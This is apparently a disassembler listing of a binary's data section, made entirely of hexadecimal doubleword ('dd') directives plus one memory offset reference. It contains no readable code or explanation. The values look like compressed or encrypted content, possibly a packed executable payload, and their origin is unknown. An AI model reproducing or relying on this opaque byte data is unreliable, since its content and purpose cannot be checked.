		dd 0F18B8255h, 183A0B59h, 0C3F2EA0Ch, 0C3811F1h, 0A9881A60h
		dd 0D40949D2h, 0C6901453h, 56B42C36h, 77272CBCh, 5474287h
		dd 686A70E5h, 0B2E00314h, 0EBAB5A82h, 0F16305CAh, 0AD4C7719h
		dd 0D1393013h, 8288F1BAh, 52C9A97Ch, 7480E9E6h,	966DD0BDh
		dd 0D4437B20h, 94DE8076h, 3085E244h, 78A60BD5h,	8B13D808h
		dd 4A79B043h, 82711FC8h, 29374CC2h, 59CD19B5h, 2D98E29h
		dd 1B672556h, 0E6B5029Ah, 50AA59Bh, 4BA5487Ch, 6C20B0B1h
		dd 28A76CDEh, 0C11CB30Bh, 1596EA9h, 3C025BEDh, 0A141854Ch
		dd 0A0D8D670h, 1C1418A2h, 1012944Ah, 0B14A8525h, 0B59483C0h
		dd 6A768128h, 24348B07h, 8A3D40F8h, 7E90A330h, 0A33A9BD5h
		dd 65C14D26h, 0B4A13403h, 58E0B7Dh, 848F1414h, 0D67D0164h
		dd 4A08AA50h, 0CB1C4A28h, 945564C4h, 5941A1CAh,	0C304C4E3h
		dd 81E06238h, 0EA500955h, 683452B5h, 856202A5h,	2722D1Ch
		dd 4088D3CEh, 5168355Ah, 0A34228C0h, 3BBF8448h,	80000000h
		dd 0
		dd offset unk_418000
		dd 6000434Ah, 0
		dd 30140000h, 0C01120E6h, 14481235h, 3ACFA025h,	37A701B4h
		dd 77DB0FFFh, 0C8A7D374h, 0FACE0C3Fh, 1C4DD7D9h, 3FE66078h
		dd 0CD7E96E7h, 33A5CB99h, 783C755Fh, 0DA1C75C7h, 0BFA9A229h
		dd 3EF9D753h, 73E9C5E2h, 773F7C7Eh, 96FACF7h, 5EC3594Ch
		dd 0CDBE264Bh, 0FDDE8EDFh, 3D4D133Dh, 0BBF06C75h, 273B5FCFh
		dd 0C9FF160Fh, 0ED3F5999h, 0D2E574B9h, 99CE8B61h, 5A4579F0h
		dd 0E6348F3Bh, 9A48F1Fh, 752EA073h, 62B70A4Bh, 17395641h
		dd 3183DD25h, 217B498Bh, 0F5A0D6EBh, 0B723BDA4h, 0E602B1F2h
		dd 12E2076Ch, 784D2CEAh, 4D6634EBh, 5DE31C62h, 50081C18h
		dd 10C4068h, 91E00A4Ah,	0CA1AEA12h, 2D2196B3h, 42E69053h
		dd 93A67817h, 0F588CACAh, 0A54BA883h, 9021D88h,	4D9BB4DBh
		dd 0A148916h, 925D6024h, 13903B6Dh, 56FB65BCh, 98785C2Eh
		dd 2021197Bh, 7ADA5A2Ch, 80707434h, 1AB1006h, 7851B02h
		dd 0CACB0B62h, 426070ADh, 0B7006102h, 0B18AB04Dh, 84CBB0B6h
		dd 68B74B85h, 263F2204h, 9C142050h, 0B1DD1681h,	8C050041h
		dd 9915ACDh, 0D85A12Bh,	4ACA2D23h, 1F00085h, 72D0784Ch
		dd 36F3346h, 0B73529C2h, 80A4B819h, 0C3B00203h,	83565A6Eh
		dd 8066A0A3h, 32B3A116h, 0CC2E565Dh, 185201E5h,	4BA11BABh
		dd 744C99A5h, 79954BC1h, 3665943Ch, 0DDECC51Bh,	53688588h
		dd 0C4184181h, 0CEDA32E8h, 0E4DD72DEh, 3287A552h, 0DE5901ABh
		dd 2C61A482h, 629092D7h, 235000D1h, 0B646814Bh,	8CF86C3Dh
		dd 89439ED9h, 145A8C06h, 0D2202411h, 0B1117182h, 95004028h
		dd 0DC886458h, 0EA096202h, 10940DE1h, 0CAC4D280h, 8DE38295h
		dd 0BC19A242h, 15BC45h,	41019D5Fh, 5B4C4F81h, 3B77413Ah
		dd 8CBA014Bh, 8C3113A1h, 343A97Ch, 7A2DE029h, 2F680E14h
		dd 60955241h, 66CA90h, 0C0164080h, 0ACD4C6BAh, 66220DF7h
		dd 0E58A0789h, 36671BD1h, 5E13F4E4h, 0ECA6B8C1h, 0BDDC0E12h
		dd 5AD4279Ah, 1BF23C41h, 0EDAB0A2h, 0D69628C5h,	28CC65F8h
		dd 0CB2CB98Ch, 979A7CB2h, 0C796A5A2h, 0C5AD5922h, 133EC84Ah
		dd 805C9603h, 39BE0B76h, 0B44ECC0Ah, 34917374h,	9D2032F2h
		dd 7400E01Ah, 2374B0E1h, 9E6295E0h, 0BBC7D78Ah,	0DA06049h
		dd 27D81407h, 5B5CECE3h, 749FC6ABh, 787CA1E8h, 28C285D5h
		dd 95F52C44h, 1B2B7CF6h, 6178F311h, 80081010h, 60D18DC5h
		dd 0C30741Dh, 53CC973Bh, 0B7E81C9Ch, 0A106360Ch, 5EFED418h
		dd 9B17A318h, 17375D25h, 0C730BBCh, 3383443Bh, 562FE023h
		dd 0A0E1D88Ah, 0A0492C77h, 800BB12Fh, 92B13C62h, 0E475A3ABh
		dd 51B9A975h, 2114D76h,	201E9851h, 8BD4A905h, 0A66F6AA3h
		dd 4D53EB41h, 81C079C3h, 7093381Eh, 57CFA2C7h, 0D819E332h
		dd 33AFA1CAh, 59989674h, 1CB5AC4h, 0C049C1D8h, 61A20B82h
		dd 0A69E848Ah, 22299888h, 9DA64A76h, 0A29885A0h, 38FA8A64h
		dd 5CA2D998h, 272A6067h, 313860D1h, 22C8DBA0h, 4E12FD02h
		dd 9EADD122h, 4DB46344h, 0C61978DAh, 4C9CF62Eh,	0F11C4D0Dh
		dd 8414FCEDh, 82733045h, 0AD6CD32Fh, 682F2CB9h,	87165D20h
		dd 700AE45h, 0A6A2602h,	6662300Bh, 0CB31E0E1h, 0E860EFB0h
		dd 9AC42280h, 616AB5Fh,	0A11CCA84h, 470AC94Dh, 463ECF64h
		dd 0A11AE607h, 5C360950h, 83B08D2Dh, 2B323F18h,	11D6B494h
		dd 0A580CE1Ah, 24603871h, 0B7C028D3h, 142F590Eh, 47DCE9Ah
		dd 89F9034h, 0F22A793Ch, 3806784Ch, 49C50B6h, 441A37DCh
		dd 64026A49h, 5CF99955h, 7F048B78h, 5D644BBBh, 2350C1F6h
		dd 2C83B612h, 0AC400645h, 507B435h, 20247C0Eh, 1882541h
		dd 0D980AE07h, 92E849h,	6EDE916Dh, 70F0B600h, 0B6960E56h
		dd 31613761h, 0DCE603F0h, 9940B6BBh, 57A755F9h,	9B1DCF23h
		dd 5B480FA8h, 0D861683Eh, 98609955h, 0B5667A82h, 292D4918h
		dd 90C314F0h, 50D3B70Bh, 5DC1B0D8h, 97507523h, 34C4200Ch
		dd 3B1D31A7h, 0D2F50E55h, 6209A0B2h, 830A2ADFh,	0A15DD6B4h
		dd 0C205E169h, 222C6CCAh, 7FB519B4h, 4461282Bh,	68B0529Fh
		dd 15620AA7h, 0C21583A5h, 1780C2DAh, 851056E6h,	86197EC1h
		dd 0C549DB1h, 2A0E9618h, 15846AA9h, 650E28Bh, 70F36814h
		dd 13850101h, 32405D16h, 2CA2F4Ah, 65045363h, 80529B66h
		dd 0D0149A92h, 86D6165Ch, 5B18AE02h, 13A2A592h,	9A9AE324h
		dd 4013755Ah, 560002C8h, 1340538Ch, 0E67C7571h,	0A9FAD824h
		dd 7C556C8h, 0A23A3CD6h, 9CDD95Bh, 2C4351C8h, 253397A9h
		dd 0C171BD31h, 31192385h, 0BBD94A7Ah, 6A9D5FE6h, 63309BF9h
		dd 84E51932h, 0B3699700h, 439BA3C2h, 80C1C150h,	870C9D60h
		dd 119DA466h, 820B301Ah, 3A611298h, 0A5190A2Dh,	99470F15h
		dd 0AD968212h, 8B909059h, 7D3CF72Ch, 22251828h,	0F7F28ACAh
		dd 0C35CADAh, 914D0493h, 31419EFh, 82F7A45Bh, 61914Ah
		dd 3E57B31h, 21E58516h,	0E5E4B005h, 85B51378h, 0A3A9A9Ch
		dd 0E789D8E3h, 4B9B6612h, 0F0259981h, 98EA6C2h,	1939A26h
		dd 84618B1Ch, 0CA61A74Ah, 22090C6Ch, 828D32ACh,	0A5B81011h
		dd 414C2296h, 50EA0640h, 244EA6A6h, 0B0CDA9D5h,	0E6188635h
		dd 25644008h, 94D122C4h, 74314AA8h, 310F2902h, 0F4122FA6h
		dd 9C4B2008h, 0B12ADE25h, 54C41095h, 4412E304h,	0CA91A489h
		dd 0DFE7F862h, 9D8E6014h, 0F4333A3Dh, 7E75672Bh, 0EFEFE2DEh
		dd 0C97B5E4Eh, 0ACB72F81h, 0A7C3B4D9h, 6F21F773h, 0ECB0841Eh
		dd 0BF97CAEDh, 0F931B88Fh, 0F0BC4F8Dh, 0DF13A26Ch, 68B52E3Eh
		dd 64BC9BF3h, 8603A54Ch, 0E56A1D6Fh, 0DF9EABF5h, 0A6F9B1F8h
		dd 0FC6FCBC5h, 8A2C6B3Eh, 0ABD8B65Dh, 0F05F9E67h, 4C0EF863h
		dd 0C4CB7638h, 9BCD17BBh, 2008E671h, 0B65876EBh, 4CC67A14h
		dd 674FFC41h, 0FC33DF2Eh, 996DF2EDh, 76C9FD5Fh,	3C297316h
		dd 77390F8Bh, 0EE25A5CEh, 3E07FB1Ch, 0E7C4A3CDh, 339CC067h
		dd 0A717DAEDh, 31020E76h, 426396FFh, 5B3C6518h,	0A7AC47B9h
		dd 0FC6CD76Bh, 546ED3E6h, 0AE9D2898h, 0C76EA7DCh, 0B439961Ch
		dd 284CB0BFh, 0BA0D5E76h, 3FE0BE35h, 3C78E63h, 0C6E56505h
		dd 30E9C5B1h, 0E4BF7F8Dh, 0FBB87D6h, 0CCF61B0Dh, 0FCF3CB82h
		dd 0C411F91Bh, 5789F460h, 9FF5CCD7h, 9B10B027h,	6C3336E2h
		dd 0EB880E7h, 4303DDAEh, 0F067B60Dh, 0BE3643FDh, 20CE303Dh
		dd 43C8ED44h, 0D91C90EEh, 43CDFDE1h, 6E9F3701h,	0C89DB778h
		dd 7479635Ah, 7A9FBECDh, 6F875B22h, 0BF18BEA3h,	7C0FFF6Ah
		dd 0ACC1FEA1h, 64B26B89h, 2EA3E3BDh, 0F831390Fh, 0B0DCD1CCh
		dd 693AC267h, 2B801E52h, 0CB78766Eh, 152E4256h,	9A39B85Bh
		dd 66BA826Bh, 0D42B533Bh, 4D8C5DDEh, 981C94DBh,	9BB7B9DBh
		dd 70C9BABh, 0B7203A16h, 74ABD0EEh, 0D71C6039h,	0CA600581h
		dd 0FD84AE3h, 9F0C60D0h, 0D854ED07h, 76D84250h,	4EC3EAC8h
		dd 18804EE8h, 0B2096726h, 75487006h, 33B27D06h,	1B05014Ah
		dd 33A50A02h, 0E406969Bh, 0F6F548E0h, 6397852Ch, 5C25EC64h
		dd 0BDD8268h, 81E9D62Bh, 98487116h, 610A0512h, 0C9C2A937h
		dd 7B60E4BCh, 0BE40B75h, 798A12CBh, 0FCFBB4B9h,	0B6719FB8h
		dd 9555E0CEh, 7B8D63B5h, 97A18354h, 0B7AA9C84h,	78A8CB52h
		dd 0BEA83F3Ch, 0A1A46981h, 8F8C67B8h, 3C12C43Bh, 6847B1F7h
		dd 0EE615CC0h, 0DC223F86h, 0B5577A4h, 780A6545h, 0DF8D8FC4h
		dd 9AB3FB32h, 25BA9EBFh, 6196C2C1h, 0F8DFC7B0h,	7FCCCA71h
		dd 95CD0C26h, 9B25C389h
		dd 9B857779h, 59F03BCFh, 0F3391D9Ch, 0A35BE76Ch, 0EFFE4DE6h
		dd 7A3298DCh, 3B408C28h, 25541412h, 979311CCh, 0A2D94A78h
		dd 14961EE7h, 9BFB6CD7h, 0B94FCB0Bh, 0E5817974h, 0F3BDD6EFh
		dd 0C313F664h, 0F901DE27h, 0F1CE95FFh, 9C7D0F01h, 3DBDE0BBh
		dd 0F25F8E2Fh, 9700DC6Ah, 85599DDFh, 71704F3Bh,	1EB7B0D7h
		dd 0DE797F3Dh, 30B935C8h, 3B750D7Ch, 0F9B40EF7h, 0C50FD8D2h
		dd 0E8B6DF32h, 9CE6793Ah, 67FC1F0Dh, 66336FCBh,	0F3603FAFh
		dd 0DCC3FDB3h, 0E4F87ED9h, 0C53C3839h, 0BC3CF6B4h, 35EAF802h
		dd 77FF9E1Bh, 499EC73h,	5CA73F97h, 2B915DAEh, 75F42CEEh
		dd 791DEFE9h, 0C79AFAA3h, 907777B7h, 866FD6B7h,	0D66508DAh
		dd 0BFCFC3B2h, 3CD7B73Bh, 1C6729ADh, 0C3A8ABC0h, 1B9591B1h
		dd 96DE48A7h, 0C0DCF1C7h, 777CEA5Ah, 0DF1B16FAh, 0C2E5F97Ch
		dd 725A0999h, 0C7DB7EBAh, 60371FC6h, 0C6A9CDFAh, 5DB09DCEh
		dd 0B4DEE183h, 823BEDFCh, 0E62F44C6h, 58DABC7Dh, 65E41053h
		dd 2AB587C3h, 28A6AC7h,	20B4350Ah, 2C75C109h, 9F53AB33h
		dd 5A476162h, 59D99D15h, 16BB965Dh, 925C0096h, 900701FDh
		dd 0C02C0180h, 28751624h, 0E96E7659h, 0D29B0AACh, 2A5D984h
		dd 6D9D48BDh, 50A54AC3h, 92073096h, 2129EC17h, 0B4DA4418h
		dd 34B1350Bh, 0C1A074F9h, 958DBAADh, 86F2CB6Dh,	687E30A5h
		dd 3F95CA9Dh, 0EA823E18h, 817BE012h, 0D616CD94h, 4F16AFADh
		dd 439C3D66h, 225B118h,	2CE87117h, 357AC14Ch, 0D2283495h
		dd 255C1108h, 0B5C2352Ah, 74330428h, 63F4E52Ah,	0EE181497h
		dd 245C3AA0h, 0C637A1BCh, 0DD25AC36h, 64AC6AE2h, 1991397Bh
		dd 35A281C1h, 4088D253h, 44A62AC5h, 9CCE1912h, 0A804D150h
		dd 2DD60246h, 4C1F3354h, 0DC48F905h, 46C448CFh,	54748531h
		dd 0E2915796h, 7E52C2Eh, 9B216B52h, 6C7D5A51h, 0DC18CA73h
		dd 11D554BCh, 91784165h, 608C28D6h, 305FBBBCh, 0B1DE2CA5h
		dd 258A1B28h, 0B95584Fh, 6286E198h, 5A563130h, 30B0559Ch
		dd 6A49AB39h, 0D588D4A8h, 115EFCBh, 6150BD98h, 0D94806EDh
		dd 0C6A6FCB3h, 2840D09Bh, 0F3DC1EA7h, 6EB502E2h, 5DCA46ABh
		dd 8A0AA836h, 9D572808h, 2A966D41h, 89031E48h, 765EF7BCh
		dd 0BD67E239h, 30C1680Ch, 16B1CD66h, 5F1673B8h,	385BD958h
		dd 0BDA25150h, 0B3177547h, 52E72C20h, 0AB446810h, 96DBAE4Bh
		dd 0E6747352h, 0BCB525A6h, 6028D8Ch, 28AB515Ch,	8543CF81h
		dd 2BB23257h, 18D8404h,	114BB9C9h, 0B0C211A6h, 0C0086F88h
		dd 62353676h, 8A3CC149h, 0A00C6755h, 5DA30490h,	89638178h
		dd 8C351CB0h, 92654881h, 71FC471Fh, 2524DB0Eh, 8E147452h
		dd 1474654Dh, 9AB85F3Ch, 0E15CB76Bh, 711B80A5h,	0A9BCFFC6h
		dd 2059C02Eh, 6048D2E6h, 4A31D33Fh, 974497B0h, 1539BA4Eh
		dd 55AE465Fh, 0E580FB38h, 9A1DCBB3h, 0BE3F0814h, 6D3436A0h
		dd 138E96E3h, 24A9429Ah, 74392200h, 0F238139h, 31649D3h
		dd 2F31428h, 1479DB9Bh,	0B3D1C9AAh, 632C4F18h, 9F9AE886h
		dd 9C5294AFh, 12125CCBh, 8CBD5278h, 6CB70A4Dh, 521AC287h
		dd 0D76DCCEh, 0AB99B981h, 220450A8h, 0C48F63F4h, 20B612A9h
		dd 5C7D8930h, 0AB73D52Eh, 597301CAh, 16675AB8h,	78061CF8h
		dd 0A1D00756h, 0E3D5C1D0h, 51700613h, 52C0B3E0h, 0C1D8B1BFh
		dd 0A9FA6071h, 0B0B10B00h, 811E8B3h, 11F35D11h,	9335259Fh
		dd 2A2561A6h, 2BCAC74Dh, 0B2ECECB7h, 84AEEDF5h,	2D71D03Ah
		dd 1C542ECFh, 0DC08627Dh, 77BB463Dh, 0F1330C2Eh, 16B3C2D6h
		dd 0DDFD7E0Dh, 1964B7F9h, 0B391553Ah, 0A0B992C6h, 3029665Bh
		dd 902BAA11h, 8415A56h,	0CB601A48h, 32A3B9C4h, 0F1308F78h
		dd 0F0E8F6A8h, 0F9D8C68Eh, 6772503Dh, 106022E2h, 1614290Ch
		dd 0CA6A3BF8h, 0B14469CCh, 88B04D12h, 37BEDB74h, 14EA0F52h
		dd 4C2C901h, 0CF17C43Ah, 0DFA084F7h, 8F054508h,	8A3A28D5h
		dd 0AD5A1A30h, 4780CA25h, 0CCE3EB94h, 5B569CACh, 4C94C269h
		dd 1E79E80Eh, 8C13B12Dh, 6581CCB1h, 0EBABC1C2h,	0E7635065h
		dd 66F6A972h, 675A676Bh, 0E92D521Dh, 0B4D05654h, 0D64B370Bh
		dd 4B41B595h, 67514235h, 4A82A610h, 5CC0C34Bh, 888A5C66h
		dd 444968E8h, 19AFC801h, 18E1B4A7h, 0C29D6F4Dh,	3A4C976Dh
		dd 0FA44539Dh, 963869C0h, 1963D8A1h, 44E5C702h,	33749546h
		dd 149A477Ch, 9E655645h, 0D39559E6h, 2354E518h,	8EA39866h
		dd 0AA106247h, 2BE1B4F1h, 3791F9B2h, 0B3C2C2D6h, 0A2D40B3Bh
		dd 7A13B28h, 0F0609296h, 360CBD34h, 7582A990h, 22C84FC4h
		dd 98AD0EC6h, 0A0FBC40Dh, 6C70C058h, 5A1C4FBEh,	82C5A50Ch
		dd 6941B317h, 0F0D1F19Eh, 0CAAD4822h, 45647850h, 534D3535h
		dd 8D06530Ch, 0C78DC506h, 0EAA45216h, 0D12858FEh, 5104EC1Ah
		dd 3146133Ah, 0B4FA58ECh, 51EEC729h, 20EC2515h,	0EC96A046h
		dd 8DA828DAh, 0F482A54Bh, 0DC298A9Ch, 82ACDAADh, 1157E48Bh
		dd 4773FC8Ch, 0DC832ACh, 61801CC5h, 0A088BE33h,	9CC381C7h
		dd 0D4C5A623h, 0A0D49552h, 95630D50h, 45B58F8Eh, 9306BB13h
		dd 7C1D17D8h, 0B4283529h, 983A1DC7h, 90A20C30h,	3F222CFCh
		dd 53EFB60Ah, 23DC3502h, 5B6066C6h, 9450AE30h, 50762DB9h
		dd 1A668D1Bh, 0C50890DAh, 9EFA2CF9h, 716C16A4h,	28ADB18h
		dd 90E7A75Ah, 54347629h, 0A4B2C16h, 0A0D6282Bh,	0EC7808E9h
		dd 0C2B0DDF8h, 9A29A58Ah, 15C43936h, 0DA31348Ah, 22D4D6E0h
		dd 0F710E7C7h, 59EA9BA3h, 0D0B24AD6h, 31E4C14Bh, 31E7F323h
		dd 8DEBDB0h, 8A78D673h,	5D6F9834h, 0BCD8CE0Ah, 37CD7806h
		dd 8A3D01A8h, 4318AC2Ch, 0D789E8C3h, 0E16E3320h, 0D7692239h
		dd 2D508735h, 290B0B4Eh, 28567C7h, 0C68C5A65h, 0B2549763h
		dd 0D760557Bh, 0F72A5B99h, 7C53C6D0h, 61079DE6h, 0BC9E23F8h
		dd 0CCF935F4h, 4D2E134h, 86B0F4F4h, 65113121h, 315BE676h
		dd 0C39EC4D3h, 5B5E0B6h, 0B223082Bh, 2B0403B8h,	42D4948Ah
		dd 0EA59154Bh, 26BE58Ah, 628A7144h, 78FF928Dh, 0C24BE2F4h
		dd 66BA11D6h, 9E1A8C89h, 4B299755h, 0E65CE081h,	3BDB5B65h
		dd 4961C71Eh, 23500CC5h, 0FA5D3AF1h, 0A0E6AA54h, 0CCC8169Ch
		dd 61800204h, 0D3EF1C30h, 0ED5F684Eh, 0DBC93D58h, 1B7F2B71h
		dd 2BCEF9F0h, 383886BFh, 5EA6E974h, 0E7C3BC19h,	0A14EF3D7h
		dd 0EB606E5Ah, 0FA7086C8h, 0D1A5AD49h, 0CAE12A6Dh, 9B0D0255h
		dd 0DB99B082h, 0ECE1B7DBh, 4E2ED117h, 0F8E6B25Ah, 0F81C2BAFh
		dd 0BBC2EAF8h, 9B6FFA3h, 4F2A30C4h, 5DCECE75h, 0E2DE8501h
		dd 0DD15B723h, 0DD7DFD7Ch, 9D5E2316h, 0AA8F3FF8h, 5ECEA3AEh
		dd 0ECF08ADDh, 0FD7E2BBBh, 0F67C6030h, 579A2EA8h, 4E88CEE3h
		dd 13CAFC91h, 4AA47AD6h, 9A66CC23h, 16B3C6DDh, 53858984h
		dd 599B4C66h, 6EDAAA49h, 0B85D0D89h, 0D331E579h, 48D816B3h
		dd 858D2C1h, 0AB32B150h, 4648B127h, 0D214687Eh,	2ED0347Eh
		dd 0B2BD508Eh, 5DCAA810h, 0B4E692CAh, 5D75A63Ch, 29D4D40Dh
		dd 2DE3CFC5h, 22879A1Dh, 0B7821B61h, 6B8DBC08h,	2908ED73h
		dd 11241710h, 95260B50h, 0A9D1150Ah, 0A74EAD4Dh, 3B01DE6Ah
		dd 0F509CFA9h, 18C819E4h, 9491F220h, 9B025228h,	33F45BF4h
		dd 9167099Bh, 220C7E01h, 0AC66E856h, 37B06F90h,	57A3ECBAh
		dd 966729DDh, 2498508Ch, 540A327Bh, 4C48CD80h, 0E3DA4182h
		dd 969F041Fh, 693A8AAAh, 0C9B02AB7h, 0C0887C04h, 5800024Dh
		dd 5D40FBF8h, 5CB8804h
		dd 0E7444D83h, 24AA928Eh, 5A0E0234h, 0A860B4EAh, 0E542B268h
		dd 2427CD98h, 7D518353h, 8A0CD4EAh, 0C74141A2h,	6B6645Bh
		dd 8EC48278h, 6231AB72h, 7318C2F4h, 6E846703h, 4A982C16h
		dd 82BB2031h, 99BB180h,	40305B01h, 12996D0Ah, 93493950h
		dd 0A61AAE7Fh, 2CA9ACC5h, 0CD18914Fh, 78B4D88Ah, 12985257h
		dd 14B69198h, 5D55B086h, 4083A9BCh, 0B26E3D18h,	48882091h
		dd 152CD88h, 8226EA54h,	4B428E59h, 6801B09Fh, 0D65A6ABh
		dd 0B239C2D4h, 2ED3B392h, 0D9D68048h, 831D1974h, 0F16ACD18h
		dd 6560A59h, 3A92741Fh,	9D3150E8h, 60CE90D6h, 54F72A19h
		dd 1AAA0615h, 0F8E38884h, 3154750Dh, 12305430h,	8D20CB4h
		dd 0A2A240DAh, 0A8658B2h, 6A3D9315h, 4A751894h,	94A2293h
		dd 612A8945h, 0B55E8544h, 0AD3B955Ah, 9ED1B159h, 5AED5F35h
		dd 35B969B5h, 0B06F8DE8h, 77BC7158h, 4A0792EDh,	9A865E6Fh
		dd 84E29329h, 97BF029Eh, 5CDD732Bh, 965C88Bh, 0A5438F8h
		dd 7551AAB7h, 6F8CAC37h, 6DA9855h, 0AE0B5F09h, 0F602963Dh
		dd 2B74E484h, 0EB284C22h, 0F850370Fh, 1601AE63h, 0D7AEDA01h
		dd 7601F953h, 5C69E00Bh, 0AD9F1BAAh, 2B7237CCh,	1F5325F2h
		dd 8762031Bh, 6E75F257h, 0DC5981DDh, 514F1010h,	56560A5Ch
		dd 9D5DDDEFh, 0ECA50FD5h, 56EDFDB1h, 0C7FFF2B9h, 116F99C4h
		dd 3C3AA577h, 0F2B1233h, 0A154966Ch, 2AC7FF0Fh,	3C82AD50h
		dd 9EFD365Dh, 0BD9DD6AEh, 0FF5AC486h, 0A803A562h, 0F261FBAFh
		dd 40243CFFh, 93692409h, 5BEFD51Eh, 0DF1841D4h,	0A100A097h
		dd 11A7111Ah, 348249AAh, 0C0E211AAh, 6D79185h, 0E845092Fh
		dd 0A714F011h, 3A068021h, 2F12A01h, 0B412A5EEh,	0C57ABE00h
		dd 988EBB88h, 823E39Ch,	522C7FD1h, 2C3A2B88h, 34E71022h
		dd 22609582h, 11002080h, 0E0FECD18h, 480C1B99h,	4680DFC0h
		dd 743C953Dh, 478A6F41h, 3065A886h, 9949080Ch, 0DE650816h
		dd 49D82B1Fh, 0BAEB16C9h, 2DD25C3Bh, 0A1ACA4B3h, 31B057h
		dd 7C3238D7h, 0C2658125h, 7C49B850h, 0BCE880CBh, 0D4464AA9h
		dd 0B75C8E9Ah, 9DD541AFh, 52A1BE8Bh, 437E3683h,	0D01131A2h
		dd 90B21ADDh, 0C1016A3Eh, 169F3601h, 39B42A6Dh,	0F4E25754h
		dd 2E44DE1h, 650C06A0h,	620AC014h, 0C0053140h, 6440021Ch
		dd 0CD1E411h, 41D418BBh, 0E24A34C2h, 6C92F85Eh,	661039A4h
		dd 747B92A0h, 4F345B96h, 0F6995701h, 27DAAC20h,	549F3ED2h
		dd 8004D4FBh, 641E0E95h, 0BB6B6B09h, 0D190A0C7h, 7AA0C3A9h
		dd 6D8816D8h, 0C014953Fh, 0F330907Fh, 26908A2Eh, 77102521h
		dd 526D2CCAh, 0A1729813h, 86351070h, 38A5F119h,	98C9A32Ch
		dd 0F4A2C3B1h, 0EEFA93A7h, 4193A99h, 8B2CAFB2h,	4E879119h
		dd 34A13601h, 0AC0C9D14h, 0F0A7C511h, 9DA30929h, 9981013Eh
		dd 0E078A382h, 0A695E2C5h, 0F1C50877h, 0F7AC9925h, 0B935542Dh
		dd 0E0F22C09h, 0B7031BA1h, 0B4E95180h, 825E1F63h, 0B40DA8B4h
		dd 0C2CEED18h, 30D08239h, 51236404h, 94380D2Eh,	819C5AD0h
		dd 8C098A94h, 30475C2Ch, 0BF083E90h, 50C85708h,	98A8300Ch
		dd 0C8CDC912h, 48CD6D4Ch, 80B508CDh, 0C84680C5h, 0C6CF07C2h
		dd 0C38DDE46h, 3C440F3Bh, 3E702D05h, 18C3AA18h,	0E00314A5h
		dd 1C62A046h, 8B02D108h, 260205C6h, 0E219E676h,	0B0AA1558h
		dd 5F2E84A1h, 7A21E57Eh, 0F00D7822h, 59FA6229h,	0FBCF6E29h
		dd 0A3CE6C72h, 0CABB88E1h, 0CF2A6A57h, 0AA41D11Bh, 59C07300h
		dd 7525564Eh, 0F1A802FBh, 8D3B40F5h, 0E86DFBCBh, 64B94F1Ch
		dd 676572ECh, 73830952h, 4B441014h, 0CB5C9A91h,	90167212h
		dd 74B1B1C3h, 27F2209Ch, 0FD387449h, 30A0BE0h, 0E1FF9416h
		dd 91F52CC0h, 0C642D817h, 11C6C409h, 264D8BCh, 4AE16602h
		dd 0D169D841h, 0E777177Bh, 1E191CDFh, 608DF5AAh, 0A16FBACh
		dd 14106544h, 0FA034A36h, 0FF5360B1h, 0AE40FE17h, 35C8A6D0h
		dd 3FFF5518h, 0B1356C8Fh, 0A1C8E01Fh, 5AA5B950h, 52A529D4h
		dd 5E85E9Fh, 34D3BA78h,	5C03E528h, 801B2BA8h, 2F7703A9h
		dd 768100C0h, 85AE88B9h, 0B5D68E80h, 9339CE50h,	0C214E007h
		dd 909974C6h, 0ED1934D0h, 40B85615h, 0EA928CE3h, 29300585h
		dd 0ECE30064h, 312E02C3h, 745E691Ah, 861868D0h,	31485288h
		dd 6A7D0905h, 19808C29h, 8BE03A80h, 0DDC5B4BBh,	3B2F9854h
		dd 781491C4h, 58048284h, 72D29656h, 773E094Bh, 1D494977h
		dd 815300ECh, 95B48005h, 0D4074693h, 99C80624h,	0DA6A8973h
		dd 4481C02Dh, 8F55CF68h, 0FA2D13B4h, 7F28D16Ch,	51DF0378h
		dd 823ACC49h, 2045AFF9h, 90820C01h, 0B11E1000h,	1A798AE2h
		dd 18180A41h, 0F5F21A22h, 6392CDAAh, 0C24BF252h, 59EA8D7Ch
		dd 0BED57488h, 4BAA6DC4h, 42CDC6E0h, 0F1966B05h, 2B7262CCh
		dd 4C84BEA6h, 26C430C5h, 0C5474408h, 0E346708h,	78F8E60h
		dd 27E89235h, 0AC839001h, 47488453h, 88525A2h, 6434772h
		dd 0EA620017h, 0F67EBC49h, 56D02CC2h, 328002F5h, 40E2370Bh
		dd 96C6E2E6h, 752E2D18h, 0F3EDA96h, 0B9C1446Eh,	0A6B52800h
		dd 2279B292h, 30E24178h, 512A2D0Fh, 61919540h, 60B82DB2h
		dd 31A8AC84h, 63D0541Bh, 52DCAE6Ah, 4D348F40h, 23331E26h
		dd 0C7A1B54Ah, 0EA089866h, 0FD9911CDh, 3D00F029h, 0F46A77D5h
		dd 2261219h, 8B804FCBh,	8A6C8218h, 0F114A0D4h, 69844DA2h
		dd 7A9160E6h, 0CC10C419h, 0A501BD89h, 0BE5C9958h, 30A34506h
		dd 8C880CBDh, 8BA5046Eh, 1323A8C2h, 0E9BDE30Bh,	59F8ABADh
		dd 97A82AC0h, 0B4445A22h, 0E5828ECh, 3347A0A1h,	4115919Ch
		dd 401BF68h, 0E4CF20D0h, 2DA51C8Eh, 0E192BA0Ah,	1400D205h
		dd 35318648h, 121CD6Ch,	20378210h, 142EFD85h, 487A2310h
		dd 82900898h, 41E12E02h, 0E8120A65h, 34024805h,	0A6302073h
		dd 0B50A5B0Ch, 0E3220A66h, 0A2E8382Ah, 0DEC82A30h, 0FFE4FCA0h
		dd 0A033E41Fh, 56EA5E45h, 0C2BBC894h, 0DA850211h, 740AAC56h
		dd 49A2508Fh, 8C189C0Ah, 61106454h, 71440C23h, 0B250DD64h
		dd 86D6162h, 68DEF019h,	0C504CC00h, 995997DCh, 7E9D9196h
		dd 19027157h, 85252390h, 7FD679B8h, 7A154682h, 0A4ACA3C8h
		dd 158EC004h, 2B1C4849h, 0F2B9EAEh, 691D2CC8h, 0A82F1C68h
		dd 5D74C848h, 8C3FD285h, 4F996B15h, 116ED391h, 95E252EEh
		dd 0DFDB99A8h, 881AB547h, 0ECC8BC38h, 0A997B40h, 11D9E281h
		dd 0C700081Ah, 0E055E0BAh, 0A5029209h, 0A4E92274h, 0E5418956h
		dd 8A5919BAh, 48E245E2h, 41005899h, 4643B076h, 611E8E3Eh
		dd 0C66942F4h, 4E32FAh,	8B9C821Ch, 0DA09BBD2h, 0CDCEB691h
		dd 0E4DCA6Ah, 4114405h,	41ABF12Ch, 9B4F1701h, 44CB14C3h
		dd 0CD9DB010h, 0A3454194h, 982CB03h, 547C48ACh,	8BD1C7Ah
		dd 506A8870h, 0C3C6598h, 997BA5A1h, 73DB428Ch, 49F023D5h
